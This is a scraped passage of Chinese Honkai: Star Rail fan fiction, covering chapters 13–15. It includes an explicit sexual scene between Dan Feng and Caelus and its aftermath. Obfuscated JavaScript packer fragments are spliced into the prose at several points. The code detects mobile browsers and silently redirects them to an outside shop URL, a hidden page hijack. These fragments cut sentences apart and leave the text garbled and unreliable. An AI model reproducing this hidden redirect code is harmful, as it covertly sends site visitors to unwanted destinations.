d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16472915|185565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力开始蔓延。 男人抬手扣住穹的头,不让他逃跑,龙将主动送上门的猎物锁在视线之中,修长的手指看着那一抹晕染开的嫣红。 他挑了挑带了一丝血色的薄唇,“不必担心,炸不了的。” —— “……” 这孩子是个不会压制自己声音的性格,爽到了就毫无顾忌的呻.吟出声,然后没多久就把嗓子给叫哑了。 丹枫对此乐见其成。 他还是喜欢安静一点的孩子。太吵闹的声音对持明灵敏的耳朵不怎么友好。 俊美的龙尊用温凉的手指划过青年的身体,感受那充满热量的体温,那是“万界之癌”在发起作用。 星核之力正在这具.身体里翻涌。 他便用手指轻轻地扣住了穹的后颈,那修长有力的身躯在颤.抖着,因为热量,仿佛盛满了水随便一撞都会溢出来。 热量升腾。 他看起来脱水有点严重,可不能让他晕过去,丹枫捏着穹的下巴,给人喂了几口清水,好让这人不至于因为大量出汗而脱水晕厥过去。 穹趴在床上,那双漂亮的暗金色眸子被水雾湿的氤氲一片,像是随时都会从那汪金色的水雾中凝结成泪,滑落下来。 丹枫伸出手往前摸了摸穹的脸,不是错觉,他确实哭了,满脸湿.润,手臂努力支着却软得快要支撑不住。 丹枫低头在年轻人的后脖颈留下一个个咬痕,这回他收了收力道,没有咬出一些深深浅浅的伤口,虽然说一般情况下,他也会顺手帮忙治疗一下,不用担心太多问题。 穹的身体和刃还有景元的身体,给丹枫的体验又是不同的。 虽然穹的个子不如之前两位高挑,身体也不如他们壮实,可他也有自己的优点所在,比如那双长得很不错的长腿。景元和刃都没有如穹一般有一双绵软而丰润的腿。 景元虽然长得个子高,实则身材修长,该有肉的地方有肉,并不怎么壮实,看起来好大一只,大半功劳都要归功于那头蓬松发丝极多的白发,还有那身威严的将军制服。至于刃,他的腿不如胸肌好捏,浑身上下大多数肌肉都是明显而结实,配上那张锋锐的容貌,会给人一种野性难驯的美感。 而穹身上肌肉纤薄许多,但大腿倒是比较丰盈,捏起来软乎乎的,手感上佳。 穹晕晕乎乎的,之前已经声音沙哑,现在只能低低的啜泣一声,任由丹枫搓圆捏扁的操弄。 丹枫抬手抹了一下穹的眼角,然后用指腹磨了磨,将眼尾带出红痕来,看着对方用潮.红的脸蹭自己的手心,勾起唇笑了笑,神情微微松动。 这次的事情,丹枫没这底下这个年轻人那样纯享受着,大部分心神还是放在了“万界之癌”的情况上,毕竟他要说到做到。景元如今都和他一般年纪了,每天殚精竭虑的处理事务,都不容易,不会给他额外添加麻烦的。 时间差不多了,龙尊大人估摸着再过不久,有可能忙碌的将军景元就会回来,便动作更快了几分。 “你果然是安静点,就更可爱了。”丹枫勾起侧着头艰难喘息的人,让他抬起头和自己亲吻。 本来蔫哒哒的人,却在和人亲吻时,显得极为主动,因为星核的影响,他格外的喜欢那种肢体接触,越亲密的越好。 最好是和他融为一体,再也不分彼此。 划重点,物理意义上的合为一体。 这体现在,刚开始的时候,青年显得极有攻击性,要不是本来就被丹枫给抓住控制,这家伙高低都想在自己身上咬几个洞出来。 好在龙尊大人对此精力旺盛又“活泼好动”的人,如何治理很有经验。刃的魔阴身都没能让他避退,更不用说,这位“银河球棒侠”所做出的一些无伤大雅行为。 穹不担心这个,他体内的星核力量在丹枫梳理完之前,会有无数的精力来挥霍。 随着时间的延长,刚想着自己能无限“火力”的人“倒下”了。 要不是被丹枫捞着,穹早就要贴到床上去了。一直到丹枫松开了手,他才彻底瘫软下去,脑子里一片空白,气息都不稳了。 “啊……哈啊、哈、哈啊……呜——” 穹死死地咬着唇,但陌生又很舒服的感觉依旧如电流一般流淌过全身,让他大脑发麻,生理性的眼泪几乎流了满脸。 涣散的视线里,是龙尊那张依旧昳丽好看的脸,穹看见丹枫微微翘起唇角,眉梢眼角都透着轻松的气息,就连周身沉郁冰冷的气场都散开了许多。 丹枫低下头,伸出皮肤细腻的手指给人抹了抹眼泪,然后熟练的使出云吟术法,将人洗了个透。 他的云吟术法在这方面的操作越来越得心应手了,真是出乎意料。 也不知道那群龙师若是知道了,会气死几个呢? 丹枫漫不经心地想,差点把自己给逗笑了。 青年的体温降下来了,那股万界之癌的波动也重新隐藏了起来。他看起来又只是一个普普通通的短生种模样了,除了长得挺帅气的以外。 丹枫用白如玉的手指捏了捏年轻人的脸,看他龇牙咧嘴,一点也害怕自己的模样,颇为有趣。 穹慢慢翻个白眼,躺在床上一动不能动,仿佛自己只剩下大脑了一样。 丹枫不理会这些无关紧要的小举动,他摸了摸青年已经恢复清爽的柔软灰色短发,一本正经的对他说。 “这位银河球棒侠,你知道强迫持明族的龙尊做这种事,会犯了罗浮什么罪名吗?” 他调侃的轻笑声传入了穹的耳朵里,不但使本来就在龇牙咧嘴,试图缓解自己遭殃屁股痛楚的人愣住了,还让刚刚赶到门边,正好推开门闯进来的两人也一并惊住了。 景元:…… 丹恒:…… 是我们打开门的方式不对吗? 谁强迫谁? 再说一遍? 13.小问号你是否有很多朋友 景元苦笑着,目送丹恒将灰发青年带走。他眉宇之间尽是郁气,虽然压制得很好,但还是看得出来丹恒很是不开心,沉着一张脸,青灰色的眼眸里凝聚着冷冽之气。走之前,他抿着唇,深深的看了丹枫许久,在场气氛凝滞,景元差点以为两个人会打起来,但最终青年低下头,敛起眸子,只是转过身,脚步匆匆的就这么离开了。 束着高马尾的白发将军深吸一口气,转头看那个给自己整出一堆“惊喜”的男人。 身姿如玉的龙尊一脸淡然的对上景元的视线,他并不以为意地歪了歪头,黑色发间红色的流苏耳坠若隐若现,随着他的动作摇晃出细微的弧度。 “景元,为何这般看着我?” 为什么看你?嘿,看你好看呗。 讨厌的丹枫哥,不当人……哦对,他也不是人,是龙来着。 景元又看了看龙尊几眼,确信这位态度一点也没有任何产生动摇时,他抬起手撑着额头,觉得很是头疼。 丹恒本就是还没有怎么哄好,现在更是会雪上加霜,可他的丹枫哥一如既往的不怎么“通人性”……真是让人为难啊,这种事情处理起来居然比那些罗浮的政务零碎还要来得麻烦。 要不自己现在就结束休假,重新接过符玄手上快要堆积如山的公文吧?可瞧着那些厚厚一叠的文件,也让人难以为继啊,只会眼皮沉沉,昏昏入睡。 景元叹息。 “丹枫哥我知道你在现世待着不怎么爽快,这是我的错,我招待不周了。不过……如今的罗浮之上还是请你再稍微忍耐一下,收敛一点吧。你可知今天的那一位开拓者,严格意义上来说年纪还不满周岁之数。” 丹枫:“我知道。”他查那颗万界之癌时,就发现了,但——那又如何? 景元愕然。你知道还对他出手?丹枫哥你变了,你什么时候变成这样的了?景元眨眨眼,很想问他。 “如果我说我其实本来是打算收手的,你相信吗?景元。”龙尊对他说。 景元挑了挑眉,他点点头。 “我自然是相信丹枫你的。”虽然如今遇见的饮月君似乎有点过于放纵自己的行径,但其本质还是不会变的。 比如——身为持明一族尊长的饮月龙君丹枫,向来说话算话,一言九鼎。 所以景元确实不会不相信丹枫所说的话。他说是那一位主动的,那肯定没有错。可尽管如此,这件事情的后续也是需要一个人来居中调和。如今倒霉的景元就正好担当了这个角色。 丹枫哥他倒是好,等到再过些时日,符玄那边有了进展,就可以将他送回原本的时间线了。他拍拍屁股快快乐乐的走了,然后留下自己“可怜无辜又弱小”的面对被刺激了个够的老朋友们。 ——着实是不够厚道啊。 “丹枫哥……”景元摇摇头,不再想那些事情,他回过头看向眉眼清冷的龙尊,耐心的叮嘱说到,“若你实在闲的无聊,你可以来找我的,想要做什么的话,随时来找我都行。最近我休假,还是颇为清闲自由。” 丹枫瞥了一眼过去,然后伸出手,捏了捏景元的脸,指腹轻轻按了按他的太阳穴位置。这几天他也给人调理过身体,那些伤势已经基本痊愈了,包括一些沉年旧伤的隐患,也挨个儿的找出来,给他疗愈着。 谁让本来在眼前还未成年的小家伙,眨眼之间已经是个快要八百岁的仙舟老人了,是该多多照顾照顾身体,准备养生一下。 丹鼎司里有负盛名的龙尊大人出手,效果自然非同凡响,最近遇见景元将军的人都觉得他神采焕发了许多,也难怪私底下会有那种造谣传出,觉得将军大人喜事将近。 不过,很可惜,谣言终究只是谣言。 丹枫又扯了扯男人的脸颊,给人脸都揪红了,景元乖乖站着让龙尊摸着,自己好像被当成那些狸奴一样对待了,景元感觉到头上摸自己的手,有点哭笑不得的想。 然后猝不及防的被人扯着手腕带着往前走。 丹枫一边扯着景元走一边说。 “行啊,既然你说要陪我玩的话,那感情好。择日不如撞日,不如现在就去吧。正好我有一式新招,来向帝弓司命的将军请教。” 丹枫放缓了自己的声音,尤其是在喊出景元将军那个称呼时,更是语音轻轻的微扬向上,带出一股子淡淡的愉悦。 景元有点傻眼了。 不是吧,丹枫你还要做吗?精力这么旺盛的吗?他记得持明一族因为没有繁衍的能力,性.欲其实都是比较低的,包括长生种的大家,由于时间拉长了,大家对这种事情,也渐渐变得有点清淡起来。怎么到丹枫就变了样,这也太能干了。 他突然想起不知道从哪里的话本子看的一个设定,里面说龙性本淫。原先景元是不相信的,单看丹枫那张脸,他看起来就不像是纵.欲的人。 饮月君长了一副冰清玉洁又寡欲的淡漠傲慢之相,没人会把他跟这些事情联系在一起,而以前,在景元的记忆里,丹枫从来没有碰过谁,他和那张脸给人的感觉一样,冷淡如山巅皑皑白雪。 果然,丹枫哥怕不是被长乐天君附身了吧? 景元思索着,察觉到拉着他走的人停下了脚步,便抬起头,今天到屋里的路程好像有点漫长,会不会是自己的心理作用? 然后景元刚这么想着,一阵不知何处而来的清风吹来,浮动他的发丝,景元拧眉看过去。就见对面昳丽俊美的龙尊眉头微扬,嘴角轻轻上翘起,那双剔透的青瞳看着他,没有戴手套的纤长手指微抬的握紧一柄森冷的长枪,正用枪尖指着自己。 “来,景元,和我玩吧。刚想出的一式新枪法,陪我试试效果。” 丹枫眉眼神情尽是张扬凛然之色,一股威压感已然透体而出,上应天穹。冥冥之中,仿佛有大势在枪尖汇聚,势如雷霆天威,刚猛浩烈无比。 景元:…… ——是他心思龌龊了。 将军大人突然无地自容,尤其是面对好友那张神采飞扬的脸时。 —— 星穹列车上。 丹恒把人带回了穹自己的房间里,扶着他坐到柔软的床铺上,却见人疼得差点跳起来,手指抓着丹恒的手腕不肯放松,身体微微颤抖。 持明龙裔的眼神越发的冷漠了,那双一贯被隐藏起来的青色的非人瞳孔显露了出来,青年默默地抿紧了唇。 丹枫这家伙! “他居然连治疗都不给你使用吗?” 穹揉着腰,嘶了一声,又慢慢的靠着丹恒给他拿过来的靠枕上面斜依着,听到丹恒的问题,他傻愣愣的抬头啊了一声。 “啊,不是这样的,丹恒,你别生气……” 丹枫本来是打算动手的,但谁让那两个人冲进来后,丹恒率先一步来到床前,手臂快如闪电的一捞,就给他把人抢走了。既然都抢走了,那丹枫也不会去抢回来,于是也就没有帮忙治疗和清理那些后续了。 反正他的转世应该也会治疗术,自己用不着操心…… 灰发金瞳的星核精眨眨眼睛,盯着对面丹恒老师那张看起来很生气的脸,情不自禁的抖了抖。 完了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16484116|185565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,丹恒一定是生气了,他脸色好难看,比之前在智库自闭看起来更难看,他会不会骂自己? 毕竟自己没有听劝,一意孤行的跑出去,结果成功给别人送了“一血”。 ——穹,你真是太有实力啦! 脑海中突然冒出来三月七的声音,然后女生用相机轻轻砸了一下他的头,一脸恨铁不成钢的模样。 “穹啊穹,你真是让我不知道说什么好了……” “为了你,我把景元将军和丹恒老师的好事都给破坏了。我真的太难过了,呜呜呜。你下次一定要请我吃一顿大餐!好吃的!要弥补本姑娘受伤的心灵。” 丹恒看着一脸神游的穹,无奈的摇摇头,他站起身打算去把买的药膏拿过来,还有——接一杯温水“浇灌”下看起来很是“干枯”的青年。 当时在丹枫那里,穹就是一副脱水很严重的样子,丹恒准备让穹喝点温水缓一缓。 穹刚回过神,就看见丹恒摇摇头,好像要走的样子,心下一紧,他下意识的往前一扑,双手挽住了青年的手臂死死缠住。 “呜呜呜,别走,我知道错了,丹恒你别这样。就算骂我也是可以商量的……” 丹恒默了。 他转过身,握住穹的肩膀,把人扶着坐好。 吐出一口气,低下头,声音轻而温柔:“我不走,我也没有生气,穹。只是……想要给你拿药抹一抹,还有温水,你不渴不疼吗?” 语气还是很正常且温柔的,丹恒没有对自己生气,丹恒老师真好,居然还记得给他买药,太贴心了,他真的很需要。不过,什么时候买的药来着?这一路上他怎么没印象啊? 青年动作麻利的取回来了药。这些东西都是之前自己脑子一时犯抽准备的,本来他还想要买润滑剂的,临到快付钱了,丹恒才想起,自己就是苍龙,可以御水的,要水,心念一动就有。 于是持明的龙裔后知后觉的想起,七百年前的那时——应星看他的眼神。 难怪工匠的眼神羞愤得要死。 实在不好意思,丹恒当时真没有想到这个,他别说这个了,他脑子就差一点就“烧焦”了…… 可丹恒没办法向那个人道歉了。 带着东西的丹恒推开了穹的房间门。已经恢复平静的神色在看清里面的场景后破了功,青年眼眸一缩,神情紧张起来。他闪身进了房间,啪得一下,把门关上并反锁了起来。 一套动作,行云流水般丝滑。 “穹!” 青年震惊地瞪大眼睛,声音差点破音。 正掰开tui查看“伤情”的星核精,被丹恒这一声喊得一个激灵,差点没摔下床,他神色委屈的看过去。 然后把tui分得更开了,并展示给青年看着说道:“丹恒,你家前世牙可真尖啊,看把我咬得,我这个腿上还有胳膊,包括脖子,到处都是伤痕累累啊!”浑然忘了,自己才是最先开口咬人的那个,丹枫不过是礼尚往来罢了。 “疼死我了。”青年仰起头,金色的眼睛眼泪汪汪的看着他。 丹恒慢慢走近了穹,他蹲下来,眼角却微微红了起来,手臂轻轻的环着把人抱了抱。 “对不起,穹……” 青年哽咽了一下,他想要继续说什么,但穹接下来的话,却把这位阅历还不足的持明龙裔震得哑了声。 穹说:“虽然挺疼的,但是也好爽啊……丹恒,下次跟我也试试吧?有点喜欢……” 丹恒:…… 丹恒:??? 丹恒:“啊?” 14.这可是九成九的稀罕物 那天的丹恒几乎是连滚带爬的跑出穹的房间的。 这回没有什么人来把他重新抓回去了,所以受惊不轻的持明龙裔安安全全的返回了智库,反锁门之后,坐在地上,清秀干净的脸上神情一片空白。 静悄悄的智库没有什么声音,丹恒抱膝而坐,隐隐约约能听见有三月七的声音在穹的房门前,少女敲了敲门,似乎在询问刚刚的动静。 丹恒没有听见穹是怎么回答的,但过了一会,三月七叹息一声说:“好吧,那你好好休息,有什么事情记得叫本小姐哦。” 于是,他又松了一口气,但不知道为什么,心里空落落的,还有点心虚。 这边的粉发少女走回自己的房间,坐在沙发上,随手揪起旁边的帕姆玩偶抱着蹭了蹭,最后下巴搭在毛绒玩偶的头顶,幽幽地长吁一口气。 还真是倒霉啊,先是丹恒老师自闭了,现在穹好像也有点自闭了。 刚刚回自己的问题时,声音也不对劲,听起来沙哑的好像哭过一样。是丹恒老师之前进去跟穹发生了什么吗?三月七想了想,摇摇头拒绝了这个想法,丹恒老师那个闷葫芦性子肯定不会欺负穹的,反过来还差不多。 唉,也不知道他们到底在仙舟发生了什么事情,问他们都是一副讳莫如深的样子,真是头疼。 三月七摇摇头,眼角余光看向自己的手机,事已至此,好像在雅利洛还有点事情没有做完,下车去逛一下,顺便拍拍雅利洛最近的照片给小伙伴们看看好了。 少女给自己打气,她猛地站起身,炫目的粉色瞳孔神色坚毅,现在就她还好好的了,她可不能倒下啊。 ——三月七,加油,你是最棒的! 雪员之上,风裹着雅利洛-VI特有的寒气,刮得三月七的粉发乱飞。 她举着相机蹲在雪坡后,镜头死死锁着远处雪松林里的身影——那只皮毛蓬松的冰原熊正低头啃着冻硬的浆果,圆滚滚的身子在白雪里像团会动的快要融进环境里的白色绒球,连呼出的白气都透着憨态。 “嘿呀,总算找着你了……可爱的小家伙。”三月七白皙的小脸上露出一抹轻松的笑容,按快门的动作没有半分犹豫,十分的熟练。 相机“咔嚓”响着,一身清凉的粉发少女十分显眼,对着覆雪的枯树随意按了快门。 过了一会儿后,快门声忽然停了。 小熊跑走了。 三月七放下相机,对着空旷的冰原轻轻叹口气,连带着哈出的白气都显得没精神。 她踢了踢脚边的雪块,雪粒簌簌落在靴筒上,正愣神间,身后忽然传来一道温和的女声,带着熟悉的优雅质感:“三月七小姐?你怎么会在这里?” 三月七猛地回头,只见布洛妮娅站在不远处的雪道上,穿着剪裁合体的蓝色衣裙,领口的毛绒衬得她脸色愈发白皙。手里还提着一个皮质文件袋,看样子是刚处理完事务。看见三月七手里的相机,布洛妮娅眼中闪过一丝笑意:“我听佩拉说这附近出现了以前从来没有过的生物——冰原熊幼崽,三月七小姐是为了它过来的吗?” “布洛妮娅!”三月七眼睛亮了亮,又很快耷拉下来,“对啊,丹恒老师的智库有更新,我正好看见了,便过来拍那只被发现的冰原熊幼崽。它很可爱……” 粉发少女抓着相机带子晃了晃,白皙纤细的手指显露一丝粉白,扣在相机上。 “布洛妮娅,你要看看我最近拍的照片吗?”她重新打起精神,向眼前的人介绍道,“我们最近到了仙舟联盟的罗浮之上,唔,那个上面也有好多好神奇好壮观的景色呢。” 三月七一边向布洛妮娅分享自己拍下的照片,一边介绍道。 布洛妮娅静静听着,等她说完后,露出笑颜:“还真是羡慕你们无名客啊,我都好久没有过休息的时间了。在雪原里说话不太方便,三月七小姐不如跟我一起回贝洛伯格?”她看了眼旁边的三月七,提议道,“上城区那家花店,从雪山采来的冻原花被做成了永生花束,你要不要和我一起去看看?” 三月七闻言愣了愣,随即点头:“好啊!” 正好去挑点花带回列车,给丹恒还有穹一人一捧! 两人踩着积雪往城区走,风渐渐小了。虽然星核的力量已经被消除解决,但对比起来,上城区的街道依旧比雪原暖和许多,花店的玻璃门上挂着风铃,推门时叮当作响。暖黄色的灯光里,各色花束摆得满满当当,最显眼的就是布洛妮娅说的冻原花——花瓣是淡紫色的,边缘裹着一层晶莹的霜状质感,像把雪光封在了花瓣里。 “这个给你。”布洛妮娅拿起一束插在透明花瓶里的冻原花,递到三月七面前,相貌美丽的女人突然眨了眨眼睛,笑着说道,“冻原花在极寒里也能开花,或许看着它,会觉得那些烦心事也没那么难熬。” 三月七接过花瓶,指尖碰到冰凉的玻璃,心里却暖融融的。她低头看着淡紫色的花瓣,忽然笑了:“谢谢布洛妮娅!真得很好看!” 话音刚落,花店门口突然传来一阵急促的脚步声,伴随着清脆的呼喊:“布洛妮娅姐姐!我找你好久啦!” 两人转头,就看见虎克顶着一头乱糟糟的头发,背着她的小背包,风风火火地冲了进来。看见三月七手里的花,眼睛立刻瞪圆了:“哇!这是什么花?比我们鼹鼠党的徽章还好看!三月七姐姐,你也在啊!要不要跟我们去挖冰下的发光矿石?可亮了!” 三月七被她活力满满的样子逗笑,心里残留的憋闷消散了大半。她晃了晃手里的花束:“下次吧!等会儿我该回列车上了。丹恒老师还有穹,这两个人现在天天闷在房间里不出来,咱作为伙伴,也得好好地照看住他们哇。” 虎克撇撇嘴,她眨眨眼睛,倒是没有多说什么,小孩子又很快被花店里的其他花吸引,凑到柜台前跟店主叽叽喳喳问个不停。 玻璃柜里摆着各色鲜花,连空气里都飘着淡淡的花香,馥郁好闻。三月七回首看见走到一边的布洛妮娅拿起一束白色的小苍兰,花瓣上还带着水珠,递到她手里:“还有这个,它的花期很长,放在房间里也好看,就当是……欢迎你再来雅利洛的礼物。” “哇,真好。” “布洛妮娅,咱真开心。” “三月七小姐喜欢就好。” “嘿嘿嘿。” 三月七点点头,抱着花走到窗边。 阳光透过玻璃落在花瓣上,淡紫色和白色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他把花递到虎克面前,故作夸张地叹了口气:“唉,桑博叔叔我最见不得小朋友发愁了。喏,拿着它。这花可是我费了好大劲才弄来的,贝洛伯格城里找不出第二束,九成九的稀罕物!” 虎克眼睛瞪圆了,伸手碰了碰花瓣,软乎乎的触感让她忍不住惊叹:“哇!这是什么花?有什么用?可以让三月七姐姐开心起来吗?” “你管它是什么花,”桑博眨了眨眼,把花塞进虎克怀里,“拿着它去列车上送给三月七,或者那个灰色头发的小哥。虎克,这可是‘能带来好心情的魔法花’,保证他们的烦心事能少一半。放心,桑博叔叔的东西,从来不会出错!” 虎克抱着花,花瓣上的银光在阳光下闪闪烁烁。她抬头看了看桑博,又低头看了看怀里的花,小脸上渐渐露出笑容:“真的吗?那我等会儿就去!” 说着,她抱着花就要往外跑,又被桑博叫住:“哎——记得说明,这可是我老桑博的一番心意啊,大出血了……” 虎克头也不回地挥挥手,背着小背包,抱着那捧亮眼的花,脚步轻快地朝着星穹列车的方向跑去,连风都跟着变得雀跃起来。 “知道啦,蓝色头发的好心叔叔。” 15.会哭的孩子有糖吃 让我们把视线重新转回穹这边。 在看见身前不远处的丹恒惊慌失措想跑路时,穹整个人都是懵逼的。 那个时候,他刚要抬起手挽留青年,却看见丹恒瞳孔猛地一缩,急忙往后退一步,躲开了他的手,似乎觉得不够保险,又直直倒退,最后靠着门,漂亮的灰绿色眼睛瞪大了看向他,好像是什么受惊应激的小动物一样。 灰发的青年也愣住了,他不太懂为什么丹恒会是这个反应。 他在怕我?把我当成了洪水猛兽啊…… 不,不对,丹恒不是怕我,他该不会是讨厌我了吧?为什么?是我做错了什么吗?刚刚我是不是不应该对丹恒说那种太抽象的话? 其实他只是想缓和一下气氛,穹对情绪的变化感知敏锐,丹恒一路上都没怎么说话,眼底神情沉郁死寂,看起来好难过的样子,刚刚过来抱住自己时都快哭了。穹怎么能够忍心看着丹恒把不属于自己的责任背负在身上,一个人独自伤心呢? 没想到搞了个故作轻松的抽象,反而让丹恒远离了自己。 穹心里想着,觉得胸口闷闷的,年轻人有一点难过,尽管他不太懂到底什么是难过。但是,穹知道他不想看见自己认可的好朋友,好伙伴疏远自己。 他不开心起来,那种心头压抑的不好感觉就算是此刻有金色的垃圾在自己面前闪闪发光,都没有办法弥补。唔,或许试试金色的垃圾桶在眼前跳舞? 算了,感觉也不是很好的样子。 说不定还会被丹恒和小三月一起说,穹,你又翻垃圾桶了! “丹恒……”穹脑海里不再去想那些乱七八糟的事情,他喊着丹恒的名字,金色的眼瞳里带出一丝不易察觉的委屈和慌乱,“……你是不是讨厌我了?” 我这样的人,“死”也要死个明白吧? “我……”丹恒纤细的眉头皱起来,他摇摇头,不知道该怎么向穹解释自己刚刚的下意识反应。他只是被丹枫这段时间的,违反常理的离谱举动吓得有些过于应激了——明明正常人遇见这种事情,也会这样的吧? 丹恒心想——绝对不可以再这样下去了。 他需要尽快的把自己调整过来,也必须办到这件事情,不可以再让别人担心自己了。让朋友担心自己,这种事情太糟糕了。 ——丹恒,没有什么大不了的,相信自己,这种事情真的没有什么大不了的。 丹恒努力给自己做心理准备。 但抬起头看着穹眼巴巴地望着自己后,还是没有忍住心慌。 他选择了暂时逃离这个地方,逃离眼前的人身边,重新躲回自己偏僻寂静的智库角落里,好好梳理自己的心绪,然后再来处理穹的事情。 “穹,你先暂时休息休息,有什么事情,我们过段时间再谈,好吗?”青年抿着唇,转过身打开了门,声音低沉又失落的道歉:“……抱歉,我最近状态不怎么好,穹。再过一段时间……再给我一段时间,我可以调整回来的。” “丹恒……”穹有点担忧的看着青年,张嘴想说什么。 灰发青年可怜兮兮的看着他,那金色的眼眸里好似酝着一汪水,眼底星河荡漾,然后丹恒狠了狠心,一寸寸关上了房门,将青年隔绝在门的另一边。 对不起穹,是我还不够坚强…… —— 第二天,星穹列车上面。 目前他们刚刚经历了仙舟罗浮的一系列事情后,没有很快离开,依旧停留在仙舟联盟罗浮奇伟雄丽的舰船之外,保持着安全距离。 解决掉星核还有毁灭大君的阴谋诡计以后,罗浮附近是很让人安心的安全领域,或者说,巡猎的国度,一直都还算安全。 这也是难得开拓之后,他们这些无名客拥有的快乐假期时间。 三月七揉着眼睛从房间里出来,蓬松的粉发还带着点刚睡醒的凌乱。她抬手伸了个大大的懒腰,骨节发出细微的轻响,连带着眼角都沁出点生理性的湿意——自打上了星穹列车,她就鲜少起这么早,窗外的星空深邃又美丽,星辰在远处闪烁,有些距离比较近的,还蒙着层淡淡的灰蓝。 她根本分不清现在是黎明未醒,还是黄昏将临。 三月七歪了歪头,将唇角扯起来,露出一个充满元气的微笑。 “早上好,三月七!今天又是元气满满的一天!” 粉发的少女对着窗户上面的倒影打个招呼。 好吧,她根本记不起以前的自己有过什么起床观念,不过现在并不是考虑这些的时候。 按照惯常的作息,她开始往观景车厢走,脚步慢悠悠的,脑子里已经开始盘算:先跟边打扫卫生边打盹的帕姆打个招呼,要是运气好,说不定能撞见杨叔和姬子也在,正好一并问声早。 列车此刻正悬停在仙舟罗浮之外,隔着安全距离,能看见那座奇伟雄丽的舰船在星云中舒展着羽翼,鎏金的纹路在暗夜里泛着温润的光。 想起不久前在罗浮的种种——星核都不算什么了,那位毁灭大君才是造成许多惨案的罪魁祸首,还好事情已经暂时结束了。 那些紧绷到极致的时刻仿佛还在昨天,如今却都成了过去。 眼下的罗浮周遭,早已是让人安心的安全领域。毕竟是巡猎星神的麾下,还是蛮让人安心的。 三月七走到观景车厢门口时,偏头看了看窗外远处静静悬停的仙舟罗浮,忽然弯了弯嘴角。 开拓之后,这样不用急着奔赴下一个开拓目标、不用时刻绷紧神经的日子,大概就是他们这些无名客,最难得的快乐假期了。 当然,每一次开拓新世界,也有种开盲盒的趣味所在。 这一切本该如此。 粉头发的少女心里想到。 没想到丹恒老师的隐藏力量,有这么曲折离奇的故事,现在更是去了仙舟以后,回来直接自闭不出门了,实在是教人担心。 正好看见已经恢复活蹦乱跳的灰发青年在沙发前,微微弓着背,手里好像拿着什么,嘴里也不停地嘀嘀咕咕着。 三月七起了好奇心,悄悄走过去,打算吓一吓青年。等她轻手轻脚的靠近了穹之后,却发现青年正在蹂躏一朵白色的小花,很普通常见的样子,不过花瓣边缘泛着细碎的银光。 嘴里面还一直在说着话。 “他讨厌我;他不讨厌我;他讨厌我;他不讨厌我……”每说一句就扯掉一朵花瓣。而在青年的脚下,已经堆积了许多零零散散的残缺的花瓣尸体,看样子已经不止祸害了一朵了。 三月七大惊。 她连忙四处看了看,没有发现那一个熟悉的矮矮又毛茸茸的身影后,顿时松了一口气。粉发的少女从角落里面找出了打扫的工具,手脚麻利的把那些花瓣全部扫了进去之后,才顾得上去管穹。 “穹!” 三月七叉起腰,把沉入自己世界的青年惊醒,他手一抖,又是捏碎了一朵倒霉的花,无色的汁液从指间溢出,花瓣快要掉落到地上时,被三月七险之又险的接到了垃圾袋里面。 少女深深的吸了一口气,把垃圾袋放好,然后冲过去抓住了穹的肩膀,使劲儿晃了晃,冲着他大声喊到。 “你这个家伙到底是怎么了?居然这么糟蹋这些花。还把观赏车厢弄得乱糟糟的,幸好帕姆现在不在这里。如果被帕姆看见了的话,你会倒大霉的。穹,快点给我醒一醒,醒一醒啊……” 穹被三月七摇醒,他看了看自己的手,又看了看三月七。本来面无表情的脸上忽然浮现了一种淡淡的难过神情,仿佛是被雨水打湿的小狗一样可怜。 “三月……我好像被人讨厌了……”青年眨眨眼睛,眼角隐隐有些湿润。 “怎么……怎么回事?欸,你先别哭,跟我说说,先跟我说说话。” 三月七被穹的这一套连招给打的有点不知所措,本来高涨的气焰都消失了,她连自己要说什么都忘了。手足无措的站在青年前面,不知道自己还能做什么。 被穹的情绪感染,三月七觉得自己可能都要哭了。本来看见穹恢复了元气,心里高高兴兴的,结果现在心头又被蒙上了一层阴云。 三月七看着穹抬起手擦了擦眼角,看起来好像情绪有所平复,正打算跟她说什么,骤然脸色一变,那眼眶里面,就像是开闸了似的,立马蓄满了晶莹的泪水,金色瞳孔被湿润,短短时间之内,一串又一串地顺着青年白皙的脸颊滑落。 青年看起来哭得很惨。 “……” 看着穹哭了,三月七也瘪了瘪嘴,到底没忍住,自己也跟着哭了起来。 “哇哇呜呜呜……” 她一边哭一边还不忘安慰穹,“你这家伙,别哭啊,呜呜呜,有什么事先告诉我不好吗?要是我不行,找杨叔或者姬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16501659|185565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子啊,呜呜呜,你别哭了,咱看着也好难过,呜呜穹……” 